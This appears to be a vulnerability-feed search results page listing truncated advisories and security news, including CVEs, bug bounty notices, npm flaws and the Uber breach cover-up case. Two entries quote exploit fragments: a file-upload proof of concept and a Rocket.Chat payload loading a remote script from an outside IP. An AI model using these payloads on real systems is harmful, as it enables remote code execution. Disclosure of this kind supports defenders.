11783 matches found
Fixed in Apache Tomcat 8.5.58
Moderate: HTTP/2 request mix-up CVE-2020-13943 If an HTTP/2 client exceeded the agreed maximum number of concurrent streams for a connection in violation of the HTTP/2 protocol, it was possible that a subsequent request made on that connection could contain HTTP headers - including HTTP/2 pseudo...
up-station.com Cross Site Scripting vulnerability OBB-1328211
Following coordinated and responsible vulnerability disclosure guidelines of the ISO 29147 standard, Open Bug Bounty has:       a. verified the vulnerability and confirmed its existence;       b. notified the website operator about its existence...
CVE-2020-1506 Windows Start-Up Application Elevation of Privilege Vulnerability
...
CVE-2020-1506
Technical details about CVE-2020-1506 are not publicly provided in the connected documents. Monitor for updates.
Shipt: Api Token Leaked in [shoppers.shipt.com]
A researcher reported an API key stored in source code that was part of a 3rd party knowledge base integration. The Shipt information security team immediately investigated the report and determined that the API key referenced was a legacy token that was no longer being used. While it didn't...
up-station.com Cross Site Scripting vulnerability OBB-1317082
Following coordinated and responsible vulnerability disclosure guidelines of the ISO 29147 standard, Open Bug Bounty has:       a. verified the vulnerability and confirmed its existence;       b. notified the website operator about its existence...
Integer overflow
u'Lack of check of integer overflow while doing a round up operation for data read from shared memory for G-link SMEM transport can lead to corruption and potential information leak' in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer Electronics Connectivity,...
KLA11954 Multiple vulnerabilities in Microsoft Browsers
Multiple vulnerabilities were found in Microsoft browsers. Malicious users can exploit these vulnerabilities to execute arbitrary code, gain privileges. Below is a complete list of vulnerabilities: 1. A memory corruption vulnerability in Scripting Engine can be exploited remotely to execute...
CVE-2020-6873
A ZTE product has a DoS vulnerability. Because the equipment couldn’t distinguish the attack packets and normal packets with valid http links, the remote attackers could use this vulnerability to cause the equipment WEB/TELNET module denial of service and make the equipment be out of management...
PT-2020-19735 · Npm · Arr-Flatten-Unflatten
Name of the Vulnerable Software and Affected Versions: arr-flatten-unflatten versions up to and including 1.1.4 Description: The issue concerns Prototype Pollution via the constructor. This means that an attacker could potentially manipulate the prototype of an object, leading to unintended...
PT-2020-19746 · Npm · Worksmith
Name of the Vulnerable Software and Affected Versions: worksmith versions prior to 1.0.1 Description: The issue concerns Prototype Pollution via the setValue function. This affects all versions up to and including 1.0.0 of the worksmith package. Recommendations: For versions prior to 1.0.1, updat...
PT-2021-23698 · Kodi +1 · Kodi +1
Name of the Vulnerable Software and Affected Versions: Kodi xbmc versions up to 19.0 Description: The issue is related to a buffer overflow vulnerability, which allows attackers to cause a denial of service due to the improper length of values passed to istream. Recommendations: For Kodi xbmc...
Ex-Uber CSO Joseph Sullivan charged over 2016 data breach cover up
By Zara Khan Joseph Sullivan also paid hackers $100,000 in Bitcoin. This is a post from HackRead.com Read the original post: Ex-Uber CSO Joseph Sullivan charged over 2016 data breach cover up...
A Former Uber Exec's Indictment Is a Warning Shot
Prosecutors allege that former Uber security chief Joseph Sullivan covered up a major breach, in the first high-profile case of its kind...
Former Uber CSO Charged With Paying ‘Hush Money’ in 2016 Breach Cover-Up
A former Uber security executive has been charged for his role in the cover-up of a massive 2016 data breach, in which attackers accessed the company’s Amazon Web Services accounts and stole data associated with 57 million passengers and drivers. The U.S. State Attorney for the Northern District ...
Former Uber Security Chief Charged Over Covering Up 2016 Data Breach
The federal prosecutors in the United States have charged Uber's former chief security officer, Joe Sullivan, for covering up a massive data breach that the ride-hailing company suffered in 2016. According to the press release published by the U.S. Department of Justice, Sullivan "took deliberate...
PT-2020-19726 · Nis-Utils · Nis-Utils
Name of the Vulnerable Software and Affected Versions: nis-utils versions up to and including 0.6.10 Description: The issue concerns Prototype Pollution via the setValue function. This affects all versions of the package up to and including 0.6.10. Recommendations: For versions up to and includin...
Quiz and Survey Master < 7.0.1 - Arbitrary File Upload
This flaw made it possible for unauthenticated attackers to upload arbitrary files and achieve remote code execution. Set-up quiz that accepts file uploads, then upload file and change content-type to one set as approved. history.pushState'', '', '/' function submitRequest var xhr = new...
PhishingKitTracker - Let's Track Phishing Kits To Give To Research Community Raw Material To Stud
An extensible and freshly updated collection of phishingkits for forensics and future analysis topped with simple stats Disclaimer This repository holds a collection of Phishing Kits used by criminals to steal user information. Almost every file into the raw folder is malicious so I strongly...
Rocket.Chat: Remote Code Execution in Rocket.Chat-Desktop
Description: Rocket.Chat-Desktop is vulnerable to remote code execution. An attacker is able to create new BrowserWindow instances with a malicious preload script. Releases Affected: Rocket.Chat-Desktop-Client: PWNED', '', 'nodeIntegration=true', 'preload=\\45.155.173.235\data\cmd.js'.join','...